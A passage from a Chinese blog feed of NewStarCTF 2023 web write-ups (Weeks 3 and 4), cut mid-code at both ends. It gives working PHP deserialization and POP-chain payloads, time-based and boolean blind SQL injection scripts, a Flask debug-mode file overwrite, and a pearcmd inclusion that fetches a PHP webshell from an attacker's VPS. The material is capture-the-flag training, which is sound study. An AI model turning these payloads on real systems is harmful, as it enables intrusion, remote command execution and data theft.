class="hljs-title">GetFlag</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$key</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span> = <span class="hljs-string">"whoami"</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$key</span></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->key = <span class="hljs-variable">$key</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$this</span>->cmd);<br> }<br>}<br><br><span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-title function_ invoke__">waf</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">GetFlag</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key'</span>]))));<br></code></pre></td></tr></table></figure><p>明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记</p><p>给出payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">waf</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">"bad"</span>, <span class="hljs-string">"good"</span>, <span class="hljs-variable">$str</span>);<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GetFlag</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$key</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span> = <span class="hljs-string">"whoami"</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$key</span></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->key = <span class="hljs-variable">$key</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$this</span>->cmd);<br> }<br>}<br><br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">GetFlag</span>(<span class="hljs-string">"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"cat /flag\";}"</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">waf</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br><span class="hljs-comment">//O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}</span><br></code></pre></td></tr></table></figure><h2 id="More-Fast"><a href="#More-Fast" class="headerlink" title="More Fast"></a>More Fast</h2><p>开容器看源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Start</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$errMsg</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-variable language_">$this</span>->errMsg);<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Pwn</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$obj</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable language_">$this</span>->obj-><span class="hljs-title function_ invoke__">evil</span>();<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">evil</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-title function_ invoke__">phpinfo</span>();<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Reverse</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$func</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span>(<span class="hljs-params"><span class="hljs-variable">$var</span></span>) </span>{<br> (<span class="hljs-variable language_">$this</span>->func)();<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Web</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$func</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$var</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">evil</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/flag/i"</span>,<span class="hljs-variable">$this</span>-><span class="hljs-keyword">var</span>)){<br> (<span class="hljs-variable language_">$this</span>->func)(<span class="hljs-variable language_">$this</span>-><span class="hljs-keyword">var</span>);<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Not Flag"</span>;<br> }<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Crypto</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$obj</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$wel</span> = <span class="hljs-variable language_">$this</span>->obj->good;<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"NewStar"</span>;<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Misc</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">evil</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"good job but nothing"</span>;<br> }<br>}<br><br><span class="hljs-variable">$a</span> = @<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'fast'</span>]);<br><span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"Nope"</span>);<br></code></pre></td></tr></table></figure><p>看起来像是一个php的<code>__destruct</code>反序列化利用,但是注意到结尾处出现<code>throw new Exception("Nope");</code>强制跑出异常进入到<code>gc</code>垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种:</p><ul><li>对象被<code>unset()</code>处理时,可以触发。</li><li>数组对象为NULL时,可以触发。</li><li>当输入的序列化对象格式不完整或不正确时,可以触发。</li></ul><p>这里采用第三种方式绕过(当然,别的方式也可以正常绕过)</p><p>给出payload</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Start</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$errMsg</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-variable language_">$this</span>->errMsg);<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Pwn</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$obj</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->obj-><span class="hljs-title function_ invoke__">evil</span>();<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">evil</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-title function_ invoke__">phpinfo</span>();<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Reverse</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$func</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span>(<span class="hljs-params"><span class="hljs-variable">$var</span></span>)</span><br><span class="hljs-function"> </span>{<br> (<span class="hljs-variable language_">$this</span>->func)();<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Web</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$func</span> = <span class="hljs-string">"system"</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$var</span> = <span class="hljs-string">"ls"</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">evil</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/flag/i"</span>, <span class="hljs-variable">$this</span>-><span class="hljs-keyword">var</span>)) {<br> (<span class="hljs-variable language_">$this</span>->func)(<span class="hljs-variable language_">$this</span>-><span class="hljs-keyword">var</span>);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Not Flag"</span>;<br> }<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Crypto</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$obj</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable">$wel</span> = <span class="hljs-variable language_">$this</span>->obj->good;<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"NewStar"</span>;<br> }<br>}<br><br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Start</span>();<br><span class="hljs-variable">$a</span>->errMsg = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Crypto</span>();<br><span class="hljs-variable">$a</span>->errMsg->obj = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Reverse</span>();<br><span class="hljs-variable">$a</span>->errMsg->obj->func = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Pwn</span>();<br><span class="hljs-variable">$a</span>->errMsg->obj->func->obj = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Web</span>();<br><br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);<br></code></pre></td></tr></table></figure><p>得到的payload结尾删去一个反大括号即可。</p><h2 id="midsql"><a href="#midsql" class="headerlink" title="midsql"></a>midsql</h2><p>打开容器看到sql源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$cmd</span> = <span class="hljs-string">"select name, price from items where id = "</span>.<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">"id"</span>];<br><span class="hljs-variable">$result</span> = <span class="hljs-title function_ invoke__">mysqli_fetch_all</span>(<span class="hljs-variable">$result</span>);<br><span class="hljs-variable">$result</span> = <span class="hljs-variable">$result</span>[<span class="hljs-number">0</span>];<br></code></pre></td></tr></table></figure><p>测试一下,发现是数字注入但是没有回显,还禁用了几个字符。</p><p>使用延时注入方法,写个python脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br>url=<span class="hljs-string">'http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'</span><br>url1=<span class="hljs-string">'http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'</span><br>url1=<span class="hljs-string">'http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'</span><br>flag=<span class="hljs-string">''</span><br>url1=<span class="hljs-string">'http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'</span><br><br>temp_url=url1.<span class="hljs-built_in">format</span>(<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)<br>re=requests.get(temp_url)<br><span class="hljs-built_in">print</span>(re.text)<br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,<span class="hljs-number">100</span>):<br> <span class="hljs-comment"># print(i)</span><br> <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>,<span class="hljs-number">126</span>):<br> temp_url=url1.<span class="hljs-built_in">format</span>(i,j)<br> <span class="hljs-keyword">try</span>:<br> re=requests.get(temp_url,timeout=<span class="hljs-number">3</span>)<br> <span class="hljs-comment">#print(j)</span><br> <span class="hljs-keyword">except</span> Exception:<br> flag+=<span class="hljs-built_in">chr</span>(j)<br> <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(j),end=<span class="hljs-string">''</span>)<br> <span class="hljs-keyword">break</span><br><br><span class="hljs-built_in">print</span>(<span class="hljs-string">'\n'</span>,flag)<br></code></pre></td></tr></table></figure><p>得到flag</p><h2 id="flask-disk"><a href="#flask-disk" class="headerlink" title="flask disk"></a>flask disk</h2><p>打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。</p><p>app.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> crypt <span class="hljs-keyword">import</span> methods<br><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask,request,send_file<br><span class="hljs-keyword">import</span> os,datetime<br>app = Flask(__name__)<br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">'/'</span>,methods=[<span class="hljs-string">'GET'</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'</span><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">'/list'</span>,methods=[<span class="hljs-string">'GET'</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">list</span>():<br> dirs = os.listdir(<span class="hljs-string">'.'</span>)<br> items = <span class="hljs-string">''</span><br> <span class="hljs-keyword">for</span> <span class="hljs-built_in">dir</span> <span class="hljs-keyword">in</span> dirs:<br> <span class="hljs-keyword">if</span> os.path.isfile(<span class="hljs-built_in">dir</span>):<br> create_time = <span class="hljs-built_in">int</span>(os.path.getctime(<span class="hljs-built_in">dir</span>))<br> create_time = datetime.datetime.fromtimestamp(create_time)<br> item =<span class="hljs-string">f'</pre><span class="hljs-subst">{<span class="hljs-built_in">dir</span>}</span> <span class="hljs-subst">{<span class="hljs-built_in">str</span>(os.path.getsize(<span class="hljs-built_in">dir</span>))}</span>b <span class="hljs-subst">{create_time}</span></pre><br><br>'</span><br> items += item<br> items += <span class="hljs-string">'\n'</span><br> <span class="hljs-keyword">return</span> items<br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">'/aa'</span>,methods=[<span class="hljs-string">'GET'</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">aa</span>():<br> os.system(<span class="hljs-string">'cat /flag > /app/1.txt'</span>)<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'os.system(a)'</span><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">'/upload'</span>,methods=[<span class="hljs-string">'GET'</span>,<span class="hljs-string">'POST'</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">upload</span>():<br> <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">'GET'</span>:<br> s=<span class="hljs-string">'<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'</span><br> <span class="hljs-keyword">return</span> s<br> <span class="hljs-keyword">elif</span> request.method == <span class="hljs-string">'POST'</span>:<br> file = request.files[<span class="hljs-string">'file'</span>]<br> <span class="hljs-keyword">if</span> <span class="hljs-string">'..'</span> <span class="hljs-keyword">in</span> file.filename <span class="hljs-keyword">or</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">in</span> file.filename:<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'.. and / are not allowed!'</span><br> <br> file.save(file.filename)<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'upload success. <a href="/list">check</a>'</span><br> <br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">'/download'</span>,methods=[<span class="hljs-string">'GET'</span>,<span class="hljs-string">'POST'</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">download</span>():<br> filename = request.args.get(<span class="hljs-string">'filename'</span>)<br> <span class="hljs-keyword">if</span> filename <span class="hljs-keyword">and</span> os.path.exists(filename):<br> <span class="hljs-keyword">if</span> <span class="hljs-string">'..'</span> <span class="hljs-keyword">in</span> filename <span class="hljs-keyword">or</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">in</span> filename:<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'.. and / are not allowed!'</span><br> <span class="hljs-keyword">return</span> send_file(filename,as_attachment=<span class="hljs-literal">True</span>)<br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-keyword">return</span> <span class="hljs-string">'no file to download or file not exist'</span><br><br><span class="hljs-keyword">if</span> __name__==<span class="hljs-string">'__main__'</span>:<br> app.run(host=<span class="hljs-string">'0.0.0.0'</span>,debug=<span class="hljs-literal">True</span>,port=<span class="hljs-number">5000</span>)<br></code></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>难起来了,开始坐牢了。。。</p><p>贴个wp:<a href="https://shimo.im/docs/gXqmdVvbOEsXpo3o/read">https://shimo.im/docs/gXqmdVvbOEsXpo3o/read</a></p><p>顺便把第五周的也贴上了:<a href="https://shimo.im/docs/R3sGgZdrlyE6nL8T/read">https://shimo.im/docs/R3sGgZdrlyE6nL8T/read</a></p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
</tags>
</entry>
<entry>
<title>NewStarCTF 2023-WEEK3 Web WriteUp</title>
<link href="/2023/10/17/2023newstarctfWeek3/"/>
<url>/2023/10/17/2023newstarctfWeek3/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>解题 5/6</p><h2 id="Include-🍐"><a href="#Include-🍐" class="headerlink" title="Include 🍐"></a>Include 🍐</h2><p>打开容器,提示phpinfo</p><p>进入phpinfo.php查看php配置,发现register_argc_argv配置被打开,index.php内部有一个后缀名为.php的文件包含,通过pearcmd来包含进行恶意文件的下载,在vps上构造恶意文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span> <br><span class="hljs-keyword">echo</span> <span class="hljs-string">'<?php system($_GET[0]);'</span>;<br></code></pre></td></tr></table></figure><p>使用pearcmd包含:<code>?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php</code></p><p>进入tmp/pear/download/evil.php直接命令执行即可。</p><h2 id="medium-sql"><a href="#medium-sql" class="headerlink" title="medium_sql"></a>medium_sql</h2><p>跟Week2差不多,但是把union的大小写禁用了,用不了联合注入,使用布尔注入</p><p>贴个布尔注入脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">import</span> string<br><br>url=<span class="hljs-string">'http://4bbc4bf0-4b86-4dc7-90db-8609acab2c76.node4.buuoj.cn:81/?id=TMP0919\'And if(suBstring((seLect flag from ctf.here_is_flag liMit%201),{},1)=\'{}\',1,0)--+'</span><br><br>all_chars = string.ascii_lowercase + string.digits + <span class="hljs-string">"_"</span>+<span class="hljs-string">"{"</span>+<span class="hljs-string">"}"</span>+<span class="hljs-string">"-"</span><br><br>flag=<span class="hljs-string">''</span><br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,<span class="hljs-number">50</span>):<br> <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> all_chars:<br> ppp=url.<span class="hljs-built_in">format</span>(i, j)<br> re=requests.get(ppp)<br> <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(re.text)><span class="hljs-number">450</span>:<br> <span class="hljs-built_in">print</span>(j,end=<span class="hljs-string">''</span>)<br> <span class="hljs-keyword">break</span><br><br><span class="hljs-built_in">print</span>(<span class="hljs-string">"Flag: "</span>, flag)<br></code></pre></td></tr></table></figure><h2 id="POP-Gadget"><a href="#POP-Gadget" class="headerlink" title="POP Gadget"></a>POP Gadget</h2><p>打开容器,是php反序列化</p><p>POP链:<code>Begin->name->__destruct()->Then->func->__toString()->Super->obj->invoke()->Handle->obj->__call->CTF->handle->end()->WhiteGod->__unset()</code></p><p>payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span 